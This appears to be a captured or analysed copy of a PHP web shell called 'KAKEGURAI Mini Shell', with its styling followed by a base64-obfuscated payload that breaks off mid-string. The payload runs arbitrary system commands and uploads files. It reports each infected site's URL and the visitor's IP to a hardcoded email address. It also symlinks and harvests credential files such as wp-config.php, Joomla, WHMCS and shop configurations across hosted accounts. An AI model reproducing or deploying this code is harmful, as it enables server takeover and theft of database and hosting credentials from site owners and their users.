Jump to:
Screenshot
Attributes
Emails
<html>
<head>
<link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
<title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> ⚜ KAKEGURAI Mini Shell ⚜</h1></center>
<meta name='author' content='KAKEGURAI'>
<meta charset="UTF-8">
<link href="" rel="stylesheet" type="text/css">
<style>
body{
font-family: "Sarpanch", cursive;
background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
color:red;
background-attachment:fixed;
background-repeat:no-repeat;
background-position:center;
background-color:#000;
-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
</head>
<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">
<?php
$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFpbCwgIkxPR0dFUiIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KLy9mdW5jdGlvbg0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQogICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsNCiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICByZXR1cm4gJHJldHVybjsNCn0NCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICBmdW5jdGlvbiBpZHhfc3MoJGFycmF5KSB7DQpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KICAgIH0NCiAgICAkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gZXhlKCRjbWQpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICAgICAgICANCkBvYl9zdGFydCgpOyAgICAgICANCkBzeXN0ZW0oJGNtZCk7ICAgICANCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgDQpAb2JfZW5kX2NsZWFuKCk7ICAgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgICAgICAgIA0KQGV4ZWMoJGNtZCwkcmVzdWx0cyk7ICAgICAgDQokYnVmZiA9ICIiOyAgICAgICAgDQpmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgICAgICAgICANCiAgICAkYnVmZiAuPSAkcmVzdWx0OyAgICAgIA0KfSByZXR1cm4gJGJ1ZmY7ICAgIA0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAgICAgICAgDQpAb2Jfc3RhcnQoKTsgICAgICAgDQpAcGFzc3RocnUoJGNtZCk7ICAgICAgIA0KJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7ICAgICAgICANCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgDQpyZXR1cm4gJGJ1ZmY7ICANCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgICAgIA0KJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfQ0KfQ0KDQovL2NoZWNrIGRpcg0KJG5pY2sgPSAiazB2M1QiOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsNCiAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgJGdyb3VwID0gIj8iOw0KfSBlbHNlIHsNCiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICR1c2VyID0gJHVpZFsnbmFtZSddOw0KICAgICR1aWQgPSAkdWlkWyd1aWQnXTsNCiAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgJGdpZCA9ICRnaWRbJ2dpZCddOw0KfSANCi8vdW5hbWUNCmVjaG8gIjxicj48Yj48aT48Y2VudGVyPjxmb250IGNvbG9yPSM1ZGRjZmMgc2l6ZT0zPkN1cnJlbnQgRGlyIDogPC9mb250PiI7DQpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQokYSA9IHRydWU7DQplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7DQpjb250aW51ZTsNCn0NCmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOw0KZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCmZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7DQplY2hvICIkcGF0aHNbJGldIjsNCmlmKCRpICE9ICRpZCkgZWNobyAiLyI7DQp9DQplY2hvICciPjxmb250IGNvbG9yPXJlZCBzaXplPTM+Jy4kcGF0Lic8L2ZvbnQ+PC9hPi8nOw0KfQ0KDQojI1RPT0xCQVINCmVjaG8gIjxociBjb2xvcj0jNWRkY2ZjPg0KPGJyPjxjZW50ZXI+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nPycgY2xhc3M9J3RvbWJvbHMnPkhvbWU8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT11cGxvYWQnIGNsYXNzPSd0b21ib2xzJz5VcGxvYWQ8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1jbWQnIGNsYXNzPSd0b21ib2xzJz5Db21tYW5kPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Y29uZmlndjInIGNsYXNzPSd0b21ib2xzJz5Db25maWc8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1qdW1waW5nJyBjbGFzcz0ndG9tYm9scyc+SnVtcGluZzwvYT4NCjxicj48YnI+DQoNCjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPXN5bWxpbmsnIGNsYXNzPSd0b21ib2xzJz5TeW1saW5rPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9ZGlzYWJsZWZ1bmMnIGNsYXNzPSd0b21ib2xzJz5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbjwvYT4NCg0KPC9jZW50ZXI+PC9icj4NCjxociBjb2xvcj0jNWRkY2ZjPjxjZW50ZXI+IjsNCg0KLy91cGxvYWRzDQppZigkX0dFVFsnYSddID09ICd1cGxvYWQnKSB7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCmlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkJlcmhhc2lsIFVwbG9hZCBnYW4hPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkdhZ2FsIFVwbG9hZCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT0iNCI+DQpVcGxvYWQgRmlsZSA6PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz4NCjwvZm9ybT48YnI+DQo8L3RkPjwvdHI+JzsJDQoNCg0KfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY29uZmlndjInKSB7DQoJCQlpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJUaWRhayBiaXNhIGRpIGd1bmFrYW4gZGkgc2VydmVyIHdpbmRvd3MiKTwvc2NyaXB0Pic7DQpleGl0Ow0KfQ0KCWlmKCRfUE9TVCl7CWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0cycpIHsNCgkJQG1rZGlyKCJrMHYzVF9zeW12aG9zdHMiLCAwNzc3KTsNCmV4ZSgibG4gLXMgLyBrMHYzVF9zeW12aG9zdHMvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW12aG9zdHMvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KCQkkZXRjX3Bhc3N3ZD0kX1BPU1RbJ3Bhc3N3ZCddOw0KICAgIA0KICAgICRldGNfcGFzc3dkPWV4cGxvZGUoIlxuIiwkZXRjX3Bhc3N3ZCk7DQpmb3JlYWNoKCRldGNfcGFzc3dkIGFzICRwYXNzd2Qpew0KJHBhd2Q9ZXhwbG9kZSgiOiIsJHBhc3N3ZCk7DQokdXNlciA9JHBhd2RbNV07DQokamVtYm9kID0gcHJlZ19yZXBsYWNlKCcvXC92YXJcL3d3d1wvdmhvc3RzXC8vJywgJycsICR1c2VyKTsNCmlmIChwcmVnX21hdGNoKCcvdmhvc3RzL2knLCR1c2VyKSl7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy93cC1jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Xb3JkcHJlc3MudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWd1cmF0aW9uLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItSm9vbWxhLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlnL2tvbmVrc2kucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Mb2tvbWVkaWEudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9mb3J1bS9jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1waHBCQi50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1EcnVwYWwudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWcvc2V0dGluZ3MuaW5jLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItUHJlc3RhU2hvcC50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1NYWdlbnRvLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvYWRtaW4vY29uZmlnLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItT3BlbkNhcnQudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1FbGxpc2xhYi50eHQiKTsgDQp9fX0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAbWtkaXIoImswdjNUX3N5bWNvbmZpZyIsIDA3NzcpOw0KQHN5bWxpbmsoIi8iLCJrMHYzVF9zeW1jb25maWcvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW1jb25maWcvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpO30NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCkBta2RpcigiazB2M1Rfc3ltNDA0IiwgMDc3Nyk7DQpAc3ltbGluaygiLyIsImswdjNUX3N5bTQwNC9yb290Iik7DQokaHRhY2Nlc3M9Ik9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KSW5kZXhPcHRpb25zICtDaGFyc2V0PVVURi04ICtGYW5jeUluZGV4aW5nICtJZ25vcmVDYXNlICtGb2xkZXJzRmlyc3QgK1hIVE1MICtIVE1MVGFibGUgK1N1cHByZXNzUnVsZXMgK1N1cHByZXNzRGVzY3JpcHRpb24gK05hbWVXaWR0aD0qDQpJbmRleElnbm9yZSAqLnR4dDQwNA0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSBeLiprMHYzVF9zeW00MDQgW05DXQ0KUmV3cml0ZVJ1bGUgXC50eHQkICV7UkVRVUVTVF9VUkl9NDA0IFtMLFI9MzAyLk5DXSI7DQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICdncmFiJykgew0KCQkJCQkJbWtkaXIoImswdjNUX2NvbmZpZ2dyYWIiLCAwNzc3KTsNCgkJCQkJCSRpc2lfaHRjID0gIk9wdGlvbnMgYWxsXG5SZXF1aXJlIE5vbmVcblNhdGlzZnkgQW55IjsNCgkJCQkJCSRodGMgPSBmb3BlbigiazB2M1RfY29uZmlnZ3JhYi8uaHRhY2Nlc3MiLCJ3Iik7DQoJCQkJCQlmd3JpdGUoJGh0YywgJGlzaV9odGMpOwkNCn0NCiRwYXNzd2QgPSAkX1BPU1RbJ3Bhc3N3ZCddOw0KDQpwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2NvbmZpZyk7DQpmb3JlYWNoKCR1c2VyX2NvbmZpZ1sxXSBhcyAkdXNlcl9rMHYzVCkgew0KJGdyYWJfY29uZmlnID0gYXJyYXkoDQoiL2hvbWUvJHVzZXJfazB2M1QvLmFjY2Vzc2hhc2giID0+ICJXSE0tYWNjZXNzaGFzaCIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAiRHJ1cGFsIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jb25maWcvc2V0dGluZ3MuaW5jLnBocCIgPT4gIlByZXN0YVNob3AiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIgPT4gIk9wZW5DYXJ0IiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIiA9PiAiRWxsaXNsYWIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCIgPT4gIk15QkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYXJ0L2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZl9nbG9iYWwucGhwIiA9PiAiSVBCIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJeV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kZW1vL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdjIvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XSE1DUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XaG1jL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobS9zdWJtaXR0aWNrZXQu